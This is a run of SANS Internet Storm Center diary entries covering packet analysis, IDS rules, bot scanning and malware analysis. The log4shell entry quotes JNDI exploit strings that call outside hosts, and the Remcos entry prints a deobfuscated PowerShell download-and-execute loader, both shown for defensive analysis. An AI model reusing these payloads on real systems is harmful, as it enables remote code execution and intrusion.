Diaries

Published: 2022-02-28

TShark & Multiple IP Addresses

In diary entry "TShark & jq", I mention that a single packet can have more than one ip.src entry.

I will illustrate this here. We are looking at a capture of network traffic where TCP SYN packets can not be delivered: "Destination unreachable".

Here is the view with TShark:

Notice TCP packets going from 192.168.10.10 to 192.168.10.1, and ICMP packets going from 192.168.10.1 to 192.168.10.10.

If we run a TShark command to extract all ip.src values, we get this:

For ICMP packets, we have 2 IPv4 addresses for the ip.src field: 192.168.10.1 and 192.168.10.10.

This is happening, because the ICMP packet embeds the IP packet to which it is replying. You can see this here in Wireshark:

The ICMP packet, encapsulated in an IP packet, has ip.src value of 192.168.10.1.

But it also embeds the IP packet (with TCP) to which it is replying. That one has a src.ip value equal to 192.168.10.10.

These are different fields, but both are accessed via ip.src and yield different values.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2022-02-27

Video: Quick & Dirty Shellcode Analysis - CVE-2017-11882

Xavier did a dynamic analysis of a malicious document with an equation editor exploit.

In this video, I perform a quick & dirty static analysis using oledump.py, xorsearch and scdbg.

If you are more interested in all the technical details of an equation editor exploit, take a look at diary entry Dissecting a CVE-2017-11882 Exploit.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2022-02-26

Using Snort IDS Rules with NetWitness PacketDecoder

NetWitness has the ability to load Snort rules on its PacketDecoder to detect and alert suspicious activity. Since it is practical to be able to see the signature makeup and what it is looking for, I created a script that parses the Snort rule tarball into a single file (list.rules), which can be pushed and loaded in all the PacketDecoders. The scripts also parse each signature into a single HTML file that can be queried to review the signature to understand what the alert is matching.

To be able to access the rules information, I created a script to provide a list of the rules by SID that get saved into a website and be queried from the NetWitness main interface. In my case, I run the script from the primary Broker, saving the rules in its webserver but this could also be saved in an Apache webserver. This is an example of the list of rules after they have been parsed:

Before starting, need to sign up for an account from Snort to get an Oinkcode to download the registered rules. I used this ruleset: snortrules-snapshot-31210.tar.gz for my decoder.

I created a script parser_snort_sid.sh to parse the Snort rule tarball into a single file that can be automatically sent to the decoder(s) via scp shared keys and reloaded remotely from this script via API that reload all the parsers including the updated Snort rules. The script is available for download here.

Setup & Configuration

Check and confirm the snort parser is enable on all PacketDecoders.

After downloading the script, the first step is to edit and configure the following variables:

  • WEBPAGE   -> Location of Snort SID web page if other than NetWitness Broker
  • RULEDIR   -> Directory where the Snort tarball is located
  • REMOVESID -> Directory where the file to remove signatures (SID) from the ruleset
  • DECODER   -> IP of decoder(s) to send the rules and reload the parsers
  • OUTPUTDIR -> Directory where the SID HTML pages are saved
  • NWADMIN   -> Admin account used by the API (script default admin)
  • NWPASS    -> Admin password used by the API (script default netwitness)

Next, step is to download the Snort ruleset and place it in RULEDIR:

Example: wget http://www.snort.org/pub-bin/oinkmaster.cgi/[oinkcode here]/snortrules-snapshot-31210.tar.gz

Default rule list with the script is: rulestates-balanced-ips.states has 8924 active rules as of this writing

Setup SSH shared keys with decoder(s) to automatically send the updated ruleset and reload the decoder parsers:

# Using shared keys using ssh-keygen with no password
# Copy public key to decoders in /root/.ssh with the following command:
# ssh-copy-id root@nwdec1 -> where nwdec1 is the name or IPs of your decoder(s)

Now we are ready to run the script, I run mine on the SA Broker in /root/scripts: sh parsing_snort_sid.sh

After the rules have been loaded, you can check a decoder by running the following query:
/usr/bin/grep "Loaded.*rules" /var/log/messages | tail -2

The complete SID list can be accessed afterward: https://nwsa/sid/

Snort alerts and signature list identified by the PacketDecoder:

The traffic parsed parsed by the PacketDecoder:

To be able to access the rule information from the NetWitness Broker interface, go to Admin -> System -> Context Menu Actions and setup the SID menu action like this:

How to access the Snort signature (SID) information from the interface (right-click on the SID):

Last, the signature information:

The script also includes the reference URL for CVEs, references to websites and SID information to the Snort website.

NetWitness has identified some limitations and performance considerations using Snort rules with PacketDecoders which isn't a full replacement for a standalone IDS.

Happy hunting!

[1] https://handlers.sans.edu/gbruneau/scripts/parsing_snort_sid.sh
[2] https://community.netwitness.com/t5/netwitness-platform-online/snort-parsers/ta-p/669160
[3] https://community.netwitness.com/t5/netwitness-platform-online/snort-rules-and-configuration/ta-p/669232
[4] https://www.snort.org

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2022-02-25

Windows, Fixed IPv4 Addresses and APIPA

APIPA stands for Automatic Private IP Addressing. It’s Microsoft Windows’ mechanism to assign an IPv4 address to a network adapter when no DHCP server is offering an address.

The IP range for APIPA IPv4 addresses is 169.254.0.0/16.

When your Windows machine is configured to use DHCP to configure its network interface, and when there is no DHCP server on the network (or it is not offering an address, for whatever reason), Windows will automatically configure the network interface with an IPv4 address in the APIPA range.

These addresses are recognizable, they all start with 169.254.

 

Recently, I was using a Windows 10 VMware guest with a fixed IPv4 address (10.0.0.2), and I could not connect to it from another machine. After some searching, I discovered that its IP address was not 10.0.0.2, but 169.254.xx.yy. Thus, an APIPA IPv4 address. I proceeded to check the network configuration for the network interface, and it was indeed a fixed IPv4 address, 10.0.0.2. It was not configured to use DHCP.

So why was it not using 10.0.0.2, but an APIPA address?

After some trial and error, it dawned on me: the other machine that I was using to connect to this VM guest, was also using IPv4 address 10.0.0.2.

So, there was an IP addressing conflict. But unlike previous versions of Windows, where I would see a popup Windows with a clear message telling me there is an IP addressing conflict, here on this Windows 10 machine, I didn’t get an alert (although there was most likely an event for this -> 4199).

And instead of using IPv4 address 10.0.0.2 and displaying an alert, this Windows 10 machine did a silent fallback to an APIPA address.

 

If you notice that your Windows 10 machine is using an APIPA address in stead of its fixed IPv4 address, check for IP addressing conflicts.

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

5 Comments

Published: 2022-02-24

Ukraine & Russia Situation From a Domain Names Perspective

For a few days, the eyes of the world are on the situation between Russia and Ukraine. Today, operations are also organized in the "cyber" dimension (besides the classic ones - land, air, sea, and space). This new dimension is not only used for attacks like DDoS against the enemy but also for propaganda. Involved parties will be spreading fake news or bad guys may try to steal your data or some money.

Yesterday, I wrote an article on my blog[1] about the importance of monitoring the domain names ecosystem. Every time, something happens in the world like an earthquake, big floods, or even major sports events, it is followed by a peak of new domains registrations. I had a look at new domains that contain the strings "russia" and "ukraine". Most domain names containing the word "russia" are not interesting but it's not the same for "ukraine".

Here is a list of recently registered domain names (only in February):

bowlingforukraine.com
didrussiainvadeukraineyet.com
freeukraine.store
hasrussiainvadedukraine.today
hasrussiainvadedukraineyet.net
haverussiainvadedukraineyet.com
helpukraine.info
helpukraine.net
isukraineinvaded.com
isukraineinvadedyet.com
letshelpukraine.com
livefromukraine.com
maps-ukraine.com
nowarinukraine.art
nowarinukraine.com
pharma-ukraine.com
plant-ukraine.com
plebinukraine.com
rosaryforukraine.com
russiavsukraine.com
strongukraine.com
thetimesofukraine.com
ukraine-russia.com
ukraine-united.com
ukraineborder.com
ukraineconflict.com
ukrainecrisis.com
ukrainefreedom.com
ukrainembroidery.com
ukrainepeace.com
ukraineresearch.com
ukrainerussiawar.com
ukrainestrong.com
ukraineunited.co
ukraineunited.net
ukrainewar2022.com
ukrainewarmap.com
ukrainewarnewscom.com
ukraineweb.site
ukrainewin.com

Most of these domains are parked or just don't resolve to an IP address (yet). But some of them are already used to spread different types of messages:

If you're interested in cyber-attack escalation in Ukraine, SANS scheduled a special webcast about this topic tomorrow[2].

[1] https://blog.rootshell.be/2022/02/23/europol-interpol-phishing-ahead/
[2] https://www.sans.org/webcasts/russian-cyber-attack-escalation-in-ukraine/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2022-02-23

The Rise and Fall of log4shell

December 10th, 2021, the Apache Foundation published a security advisory for log4j2 releasing a patch for %%cve:2021-44228%%. This vulnerability became later known as "log4shell". Shortly after the release of the initial vulnerability, two more were made public for variants of the initial problem. 

Our sensors detected exploit attempts almost immediately. Initially, researchers, in particular, Leakix, explored the vulnerability by sending a simple URL string and User-Agent. Attackers often adapted simple tools like curl or existing web application scanners to send the exploit.

Typical initial exploits:

/?test=${jndi:ldap://c6ps4jlm1q8csjc33cmgcg3hr3oyyyyuq.interact.sh/a}
/$%7Bjndi:ldaps://41062987.probe001.log4j.leakix.net:8443/b%7D?${jndi:ldaps://41062987.probe001.log4j.leakix.net:8443/b}=${jndi:ldaps://41062987.probe001.log4j.leakix.net:8443/b}

The exploit almost always reached out to an LDAP(s) server. But even early, some simple obfuscation showed up, like:

${jnd${lower:i}:ldap

Attempts using DNS or RMI started to appear on December 13th and 14th.

/${jndi:dns:/45.83.64.1/securityscan-http80
/${${::-j}ndi:rmi://01fpwheqb4gr60er3zktajn2yv.bwbcrd0n0zg7tv9fv53ypcwyup0fo4.burpcollaborator.net/aa}

On December 16th, we did see some scans going after specific applications, in this case, Apache SOLR:

//solr/admin/collections?action=${jndi:http://154.59.121.141:41545/QUALYSTEST}

The URL suggests that this was a scan initiated by Qualys, but the IP is not associated with Qualys.

Over time, attackers and researchers lost interest in log4j. We did see the peak of activity in the latter part of December, with December 28th sticking out. 

The activity on December 28th can be attributed to one coordinated scan using IPs in 165.232.72/24 and 165.232.76/24. Interestingly, these IPs, part of Digitalocean's network, are otherwise "quiet" and were only seen scanning for log4j on that particular day.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter| LinkedIn

0 Comments

Published: 2022-02-22

A Good Old Equation Editor Vulnerability Delivering Malware

Here is another sample demonstrating how attackers still rely on good old vulnerabilities…  In 2017, Microsoft Office suffered from a critical vulnerability that affected its Equation Editor tool, known as CVE-2017-11882[1]. It's a memory corruption vulnerability that leads to remote code execution, pretty bad. It was heavily exploited at this time and I was curious to find a new document spread with the same good old vulnerability.

The document was delivered through email and called "tt-payment-204500-usd.docx" (SHA256:c82724520ee5ffbcc6ee13c76d004aa903c2f70c93c505df87fe46e5e8cc53a9). Its current VT score is 30/59[2].

The trick is to entice the victim to click on the picture to make it readable. What's the magic behind this? When you check the Word document, there is an embedded OLE file but it does not contain a macro:
remnux@remnux:/MalwareZoo/20220219/doc/word/embeddings$ oledump.py oleObject1.bin
  1:      1227 '\x01olE10NatIve'

Let's check deeper into the document structure. You can find it link to the blurred image and the OLE file:

<w:object w:dxaOrig="95693" w:dyaOrig="82256">
  <v:shape id="_x0000_i2229" style="width:578.0px;height:461.0px">. 
    <v:imagedata r:id="rId8" o:title=""/>
  </v:shape>
  <o:OLEObject Type="Embed" ProgID="SIfdOITzHzZOAJxVO" ShapeID="_x0000_i2229" DrawAspect="Content"  
       ObjectID="_188909" r:id="rId9"/>
</w:object>

This is the object "rId9":

<Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" 
    Target="embeddings/oleObject1.bin"/>

When the file is opened in a vulnerable environment, Word's equation editor will automatically launch when the user clicks on the picture (which is very tempting to make it more readable) and the vulnerability is triggered. It downloads the next stage from:

hxxp://35[.]77[.]84[.]215/mali/biin.bat

This is a .Net PE file. The code is not obfuscated at all and we can see the behavior:

The second stage is downloaded from:

hxxp://35[.]77[.]84[.]215/mali/biin.jpg

Check the line 19 in the screenshot above. The downloaded payload is reversed. That is the content of the biin.jpg file:

remnux@remnux:/MalwareZoo/20220219$ xxd biin.jpg | tail -20
0012a0c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0012a0d0: 0000 0000 0000 0000 0000 000c 0012 e000  ................
0012a0e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0012a0f0: 0000 0364 0012 c000 0000 004b 0012 b8b0  ...d.......K....
0012a100: 0000 0000 0000 0000 0000 0010 0000 0000  ................
0012a110: 0000 1000 0010 0000 0000 1000 0010 0000  ................
0012a120: 8540 0003 0000 0000 0000 0200 0013 0000  .@..............
0012a130: 0000 0000 0000 0004 0000 0000 0000 0004  ................
0012a140: 0000 0200 0000 2000 0040 0000 0012 c000  ...... ..@......
0012a150: 0000 2000 0012 b8fe 0000 0000 0000 0600  .. .............
0012a160: 0012 9a00 0006 010b 210e 00e0 0000 0000  ........!.......
0012a170: 0000 0000 620e 7fd6 0003 014c 0000 4550  ....b......L..EP
0012a180: 0000 0000 0000 0024 0a0d 0d2e 6564 6f6d  .......$....edom
0012a190: 2053 4f44 206e 6920 6e75 7220 6562 2074   SOD ni nur eb t
0012a1a0: 6f6e 6e61 6320 6d61 7267 6f72 7020 7369  onnac margorp si
0012a1b0: 6854 21cd 4c01 b821 cd09 b400 0eba 1f0e  hT!.L..!........
0012a1c0: 0000 0080 0000 0000 0000 0000 0000 0000  ................
0012a1d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0012a1e0: 0000 0000 0000 0040 0000 0000 0000 00b8  .......@........
0012a1f0: 0000 ffff 0000 0004 0000 0003 0090 5a4d  ..............ZM

The PE file is a DLL (SHA256:053fc3880c8a4d531d66e4a1fd6773d96b49c8ef6ec889b92898b85758197ebf).

Next, another PE file is dumped on disk: Veetyagdacrrximuif.exe (SHA256:7497a084e4ba4f9261f16145a296460cf8c206a3dd0dc1b276496fe3a697a990)

Conclusion: Patch, patch, and patch again because old vulnerabilities can always come back on stage!

[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-11882
[2] https://www.virustotal.com/gui/file/c82724520ee5ffbcc6ee13c76d004aa903c2f70c93c505df87fe46e5e8cc53a9

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2022-02-21

Sending an Email to an IPv4 Address?

Do you recognize the following situation?

For a client, you need to analyze a malicious email.
But it can not be saved to disk, because the filesystem anti-virus will detect and delete it.
And you can’t forward it to another email server, because that server’s anti-virus will block it.
You can create a helpdesk ticket, but that will take a while.

This has happened to me a couple of times, and I have the following solution.

I run my simple SMTP honeypot script on an Internet facing server. I let it listen on port 25.
And then I ask the client to forward that malicious email, to email address anything@12.34.56.78.
12.34.56.78 is the public IPv4 address of my server running the SMTP Python script.
My script will receive the email and write it to disk.
And then I stop the script from running.
Unless I need an SMTP honeypot ;-) Because it will accept and incoming SMTP traffic.

I’ve also tried the following email address format: anything@12.34.56.78:1234.
Where 1234 is the port number where my script listens.
Without much success yet (for the moment, I only tested sending from Gmail).

According to the Wikipedia article, you should surrond the IPv4 address with square brackets, but until now, it always worked for me without square brackets.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

3 Comments

Published: 2022-02-20

Video: YARA's Console Module

In this video, I show how to use YARA's new console module to debug your rules.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2022-02-19

Wireshark 3.6.2 Released

Wireshark version 3.6.2 was released.

It fixes 5 vulnerabilities (several for loops) and 10+ bugs.

And it now refers to Npcap's own website npcap.com/npcap.org.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2022-02-18

Remcos RAT Delivered Through Double Compressed Archive

One of our readers shared an interesting sample received via email. Like him, if you get access to interesting/suspicious data, please share it with us (if you’re authorized of course). We are always looking for fresh meat!

The file was received as an attachment to a mail that pretended to be related to a purchase order. The file was called “P0-65774383__pdf.tar.lz” (SHA256:ea91dc0fdd99aab9e990b6520c136fc2f0c19b4ba82691ceef853ad4a86c0141). Note the double extension; it can be processed with lunzip on REMnux:

remnux@remnux:/MalwareZoo/20220215$ lunzip -l P0-65774383__pdf.tar.lz
   uncompressed      compressed   saved  name
          10240            1362  86.70%  P0-65774383__pdf.tar.lz
remnux@remnux:/MalwareZoo/20220215$ file P0-65774383__pdf.tar.lz
P0-65774383__pdf.tar.lz: lzip compressed data, version: 1

This is a strange way to deliver the payload because files with the extension '.lz' are not supported by default on Windows systems. There is no tool associated with the extension.

Let’s decompress it and untar it:

remnux@remnux:/MalwareZoo/20220215$ lunzip P0-65774383__pdf.tar.lz
remnux@remnux:/MalwareZoo/20220215$ file P0-65774383__pdf.tar
P0-65774383__pdf.tar: POSIX tar archive (GNU)
remnux@remnux:/MalwareZoo/20220215$  tar xvf P0-65774383__pdf.tar
./
./Protected Client.vbs

The ‘Protected Client.vbs’ script is nicely obfuscated.

Sensitive strings (that could reveal the purpose of the script) are encoded and decoded using the following function:

Private Function MpGGKjWFHKaZCsd(sData)
  For iChar = 1 To Len(sData) Step 2
    pGwFuYQQKTRe = Chr("&H" & Mid(sData, iChar, 2))
    fQMBscV = fQMBscV & pGwFuYQQKTRe
  Next
  MpGGKjWFHKaZCsd = fQMBscV
End Function

It’s a simple hex-encoding! Nothing fancy! But the interesting technique is the following, based on GetObject[1]. This function is used to obtain a reference to an object provided by an ActiveX component, usually, it’s a path and file name. But here we have something different (decoded using the function above):

Set YXHivrLSJ = GetObject(“new:F5078F32-C551-11D3-89B9-0000F81FE221”)

This UUID correspond to the ProgID 'MSXML2.XMLHTTP.3.0' as referenced in the Microsoft documentation[2].

Then, the object is populated with malicious content loaded from the following URL:

Execute("YXHivrLSJ.Load “hxxp://kastex[.]me/bkp/ybn.jpg'
Execute("YXHivrLSJ.transformNode (YXHivrLSJ)")

The URL returns the XML content expected by the object. The file contains a Powershell payload, again hex-encoded:

var yy=r.ShellExecute("powershell.exe",nm12er7fdffff("2467663D2830303130303130302C30313030303130312C30313131303031302C30313131303031302C30313130313131312C30313131303031302C30313030303030312C30313130303031312C30313131303130302C30313130313030312C303 ... ")

Once extracted, it contains:

$uJmg=(01100110,01110101,01101110,01100011,01110100,01101001,01101111,01101110,00100000,01110100,01001101,01000011,01100110,01101011,01010011,01000100,00100000,01111011,00001101,00001010,00001101,00001010,00001001,01011011,01000011,01101101,01100100,01101100,01100101,01110100,01000010,01101001,01101110,01100100,01101001, 
... 
,00001010,01111101) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };I`E`X([system.String]::Join('', $uJmg))

Decode and beautified, we have this code:

$ErrorActionPreference = 'SilentlyContinue';
$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;
'[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic')'|IEX;
do {
   $ping = test-connection -comp google.com -count 1 -Quiet
} until ($ping);
$tty='(NewObject Net.WebClient)' | IEX;
$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'hxxp://www[.]srbizasrbe[.]org/zts/ytk.jpg') | IEX

The site has already been cleaned and the payload deleted but, with a bit of hunting on VT, it’s possible to get a copy of the payload. It’s another piece of Powershell that drops the following malware (SHA256:8e41caaf8c87e94296783d9907fa170e696175ff46a57584d04df6867b1cfab1). This file is unknown on VT but, after a quick analysis, it's a Remcos[3] RAT sample (C2: notme[.]linkpc[.]net:4376).

[1] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/getobject-function
[2] https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766426(v=vs.85)
[3] https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2022-02-17

More packet fu with zeek

Packet-fu with zeek is fun! Let's continue my previous diary Some packet-fu with Zeek (previously known as bro) with other use case: IP geolocation for new connections inside a packet capture.

Prerrequisites

You need to have installed zeek and the MaxMind database.

A command to test the correct setup can be zeek -e "print lookup_location(8.8.8.8);"

If you get the following output, you have to review your configuration:

If you get the following output, you can continue:

Events that will be used

  • new_connection: This event is raised everytime a new connection is detected.
  • zeek_done: This event is raised when the packet input is exhausted.

Code

The following code implements the use case described:

type locationrecord: record{
	source: addr;
	fulllocation: geo_location;
};

global sites: table[count] of locationrecord;
global index=1;

event new_connection (c: connection)
{
    local therecord:locationrecord;
    therecord$source = c$id$orig_h;
    therecord$fulllocation = lookup_location(therecord$source);
    sites[index]=therecord;
    index=index+1;
}

event zeek_done ()
{
    local locationlog=open("location.log");
    local therecord:locationrecord;
    for (n in sites){
	    therecord=sites[n];
	    local country=therecord$fulllocation?$country_code ? therecord$fulllocation$country_code: "<unknown>";
	    local region=therecord$fulllocation?$region ? therecord$fulllocation$region: "<unknown>";
	    local city=therecord$fulllocation?$city ? therecord$fulllocation$city: "<unknown>";
	    print locationlog,fmt("%s %s %s %s", therecord$source, country,region,city);
    }
    close(locationlog);
}

Let's review some interesting aspects on the code:

  • We need to store the location information of every IP address reviewed. That's why we define the locationrecord type.
  • The processed information under the new_connection event will be stored in the sites table.
  • The zeek_done event will provide the output under a text file.

Let's see a snippet of the script's output:

Do you have any other interesting use cases for zeek? Let us know through our contact form.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

0 Comments

Published: 2022-02-16

Astaroth (Guildma) infection

Introduction

Today's diary is a quick post of an Astaroth (Guildma) malware infection I generated early on Wednesday 2022-02-16 from a malicious email targeting a Brazil-based recipient on Tuesday 2022-02-15.

Images from the infection


Shown above: Screenshot from the email that kicked off the infection.


Shown above:  Downloading a zip archive after clicking link in the email.


Shown above:  Content of the downloaded zip archive is a text-based .cmd file.


Shown above:  Two shortcuts in the Windows Start Menu Startup folder keep this infection persistent.


Shown above: Files used for the Astaroth (Guildma) infection.


Shown above: Traffic from the infection filtered in Wireshark.

Final Words

A packet capture (pcap) of the Astaroth infection traffic with the associated email and malware/artifacts are here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

 

0 Comments

Published: 2022-02-15

Who Are Those Bots?

I’m operating a mail server for multiple domains. This server is regularly targeted by bots that launch brute-force attacks to try to steal credentials. They try a list of common usernames but they also try targeted ones based on a list of email addresses that have been crawled. The mail server is protected by several security controls. One of them is an automatic blocking of offending IP addresses to slow down such kinds of attacks (brute-force) but I noticed that this technique was less and less relevant. Indeed, when a new wave of connections is launched, they are coming from a lot of different IP addresses that just test a few credentials and, therefore, do not trigger the automatic blocking. I extracted the list of IP addresses that generated authentication failures for the last 30 days and got a list of 11K addresses. They are part of botnets used to launch these attacks. But who are those bots? What kind of host are we facing?

I performed a scan of the 11K IP addresses and tried to extract some useful information about them.

First, there are spread all over the world:

Top-20 of source countries:

Numbers Country
   1964 Brazil
   1439 United States
    839 India
    596 Argentina
    457 South Korea
    308 South Africa
    275 Poland
    245 Russia
    234 Iran
    230 Spain
    223 Taiwan
    223 Vietnam
    183 United Kingdom
    148 Canada
    136 France
    113 Hong Kong
    104 Thailand
     96 Italy
     90 Germany
     80 Israel

Most of the IP addresses were not reachable or protected by any kind of packet filtering, however, I collected interesting info. Here are some of them.

Interesting domains found by resolving PTR records for all IPs:

agri.gov
effi.org
gouv.fr
gov.la
gov.np
mit.edu
rit.edu

Many devices are from the same brand and have an SSH service exposed. They share the same SSH keys:

43:a1:56:fb:8a:8b:31:95:9f:c1:d1:81:f1:88:1d:99
e6:69:15:e5:87:a1:1b:54:41:d2:77:03:88:e7:1e:11
f3:b8:a8:76:2f:f7:6c:55:7e:f6:7b:cb:4e:07:0e:d9
79:22:d3:cc:e9:f7:32:79:0e:0c:7a:30:86:43:aa:3b
a9:89:a5:d1:4c:52:a7:d7:ab:1d:ec:6b:f9:b8:2c:9f
d0:01:0b:2b:e8:4b:72:b8:ef:a2:9b:23:ed:60:47:7b
eb:46:ab:9a:11:7f:10:5c:9a:f0:1c:5b:9e:39:cf:ec
ef:d7:16:bf:cd:62:ba:0a:5f:56:b6:e4:ac:4d:8d:6e
f5:84:ab:48:3c:ba:7c:22:71:b3:c3:95:9b:da:9c:e3
54:9f:e6:91:af:41:a0:80:80:90:ab:95:1a:b3:83:b2
35:47:3c:e0:44:14:fb:39:ec:95:a4:a8:9a:28:29:ce
4e:22:4a:03:ca:10:99:5c:3e:8d:c8:4f:3a:05:db:7e
57:8c:9c:09:91:9a:54:8d:6a:88:88:98:5c:3c:87:e0
d3:46:7f:23:58:63:62:e4:35:c5:5e:99:ca:c9:6a:3a
a2:88:9a:23:d0:bf:f0:f9:3e:af:77:6d:02:86:7b:3a
f6:13:34:6f:3e:99:34:ed:f9:8c:27:10:a1:1d:e6:d1
a8:6a:24:5d:e6:f2:8e:00:e3:cc:2b:ec:76:7c:bc:e8
9d:c9:02:25:d6:73:b2:6f:54:b4:16:7f:eb:0f:1d:20
45:a9:db:56:75:df:c2:e6:b7:f2:14:41:a4:fe:85:e0
00:34:07:d9:c1:f5:01:f0:e9:b3:3d:e3:be:1d:f3:28
b6:5d:f7:0d:5e:f6:9b:de:60:0e:43:cf:bc:4b:20:4a
30:b6:29:06:27:62:bb:cd:a1:aa:65:84:08:62:31:ab
16:f8:8c:fe:cf:9b:51:92:1a:9e:39:d5:db:f6:17:d4
84:c8:13:c4:be:a5:04:af:39:1f:42:ea:0c:32:70:39
21:45:57:55:75:41:b3:cc:fc:61:df:18:61:8f:9e:a0
0e:ec:f4:f9:29:78:1d:9d:9c:45:86:6c:9c:a6:69:cf
88:24:9b:f6:7f:bb:63:40:06:fd:60:ea:7c:7f:32:c6
25:14:1f:ec:80:8a:79:94:b3:bb:af:96:8e:d3:78:78
e9:33:e6:7e:f9:c3:55:2b:3f:0f:ab:ab:75:7d:e2:f6
6b:16:a7:87:4a:18:06:33:82:14:95:33:ab:67:b5:06
3b:9d:e5:a9:28:4a:e2:fd:6e:f8:02:17:e8:03:94:39
f0:46:ee:7e:36:e8:18:c9:3c:1f:6a:dd:92:16:67:a1
87:71:51:36:a9:5f:cb:7f:08:15:30:58:cb:0c:68:4f
4a:42:82:80:56:e0:74:38:b5:6d:17:9b:a8:87:1c:fb
02:59:bd:a0:50:8d:b4:1e:79:2f:21:d4:01:b2:40:d8
06:4a:19:93:08:86:06:8c:91:c3:39:ae:3b:98:b6:db
a9:7b:bd:93:a0:22:a7:f5:d4:a8:22:d0:7f:48:ae:ce
52:59:2c:10:4a:7e:8f:b8:e8:29:4c:b1:53:ca:38:ea
c0:9a:94:4f:9e:ad:07:4d:62:a7:6c:f6:db:a3:5f:80
af:53:90:6c:00:8b:7a:34:4a:2f:54:a0:7d:63:37:15
29:9e:ae:af:0e:6f:61:60:45:49:ad:00:00:2b:f6:b9
73:3a:03:c7:8e:31:42:8f:df:04:1a:d2:94:c0:d9:0a
12:14:fc:bc:b0:13:10:a3:45:ee:39:13:c5:75:2a:01
47:25:71:67:e2:95:4a:13:b2:df:3d:97:7b:55:ae:08
fc:a2:df:a7:61:ac:74:13:94:4c:dd:0c:78:02:d5:ad
fd:92:53:03:b7:76:30:20:6b:c8:b5:19:70:1a:4f:62
b8:af:88:4c:da:6f:98:a9:b8:49:7c:29:d4:9a:72:52
b2:b8:7f:2c:89:bd:98:60:b6:71:4e:58:73:a0:fa:93
44:30:15:f7:a8:27:73:6a:3f:e7:ca:12:b7:c3:1d:6d
17:60:bb:44:2f:36:d8:df:6b:98:fb:63:7f:52:a7:a1
2c:8f:45:59:7b:17:3c:c1:c6:b8:c4:24:00:b3:fe:b4
e0:08:48:a0:e1:ea:91:a0:7a:a2:de:b9:d7:14:7a:06
a6:03:ad:51:a4:84:4a:f2:32:fb:77:46:c7:25:0f:eb
f0:22:60:cc:5c:65:97:eb:c6:24:02:7c:24:9b:42:50
4a:b0:16:7c:c5:46:ea:75:1e:24:8d:70:e5:99:47:bc
65:6e:fb:a7:48:e5:c5:fe:b0:46:1d:e6:09:6f:55:0a

Now, let's have a look at the models of devices that are scanning. To achieve this, I had a look at the CPE ("Common Platform Enumeration"). I removed most of the data and kept vendors. Note that it can be wrong if the bot is running behind a NAT'd network.

Numbers Vendor
   1110 linux
     63 google
     46 ubnt
     38 freebsd
     37 hp
     24 linksys
     24 dlink
     23 asus
     22 juniper
     21 synology
     20 crestron
     16 netgear
     16 microsoft
     15 axis
     13 geovision
     13 cisco
     12 windriver
     12 dell
     11 apple
     11 3com
     10 mikrotik
     10 kemp
     10 infomir
      8 grandstream
      8 alliedtelesyn
      7 directv
      7 cyanogenmod
      6 canon
      5 tenda
      5 oracle
      5 openbsd
      5 micronet
      5 lexmark
      5 iomega
      5 epson
      5 aerohive
      4 watchguard
      4 symantec
      4 smc
      4 ibm
      4 extremenetworks
      4 avm
      3 xerox
      3 vodavi
      3 sun
      3 siemens
      3 ruckus
      3 rockwellautomation
      3 pirelli
      3 oneaccess
      3 ironport
      3 huawei
      3 gemtek
      3 arubanetworks
      2 tranzeo
      2 toshiba
      2 tandberg
      2 supermicro
      2 sonyericsson
      2 lacie
      2 ipxe
      2 iptime
      2 io-data
      2 hikvision
      2 fujitsu
      2 brocade
      2 arris
      2 adtran
      1 zyxel
      1 zonealarm
      1 vodafone
      1 utstarcom
      1 tp-link
      1 thomson
      1 sphairon
      1 sony
      1 sonos
      1 sonicwall
      1 shoretel
      1 scientific_atlanta
      1 riverbed
      1 raritan
      1 qtech
      1 qnap
      1 philips
      1 pheenet
      1 olivetti
      1 netgem
      1 netasq
      1 motorola
      1 kyocera
      1 ipfire
      1 igel
      1 fortinet
      1 enterasys
      1 ecoscentric
      1 drobo
      1 dish
      1 comtrend
      1 citrix
      1 checkpoint
      1 belkin
      1 airmagnet

The most interesting one for me: "rockwellautomation", related to industrial devices!

What about the "open" TCP ports? (Note: I did not scan UDP ports to reduce the scan time)

On average, one bot has 18.8 TCP ports publicly facing the Internet. The worst one had 74 ports exposed!

Here are the top-10 ports:

Numbers Port
    574 22
    408 80
    180 8080
    104 443
     94 2000
     84 8000
     82 53
     77 23
     68 10001
     51 2222
     51 1723
     46 8022
     45 81
     44 554
     39 8291
     27 8081
     26 4444
     25 8888
     24 161
     18 85

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

3 Comments

Published: 2022-02-14

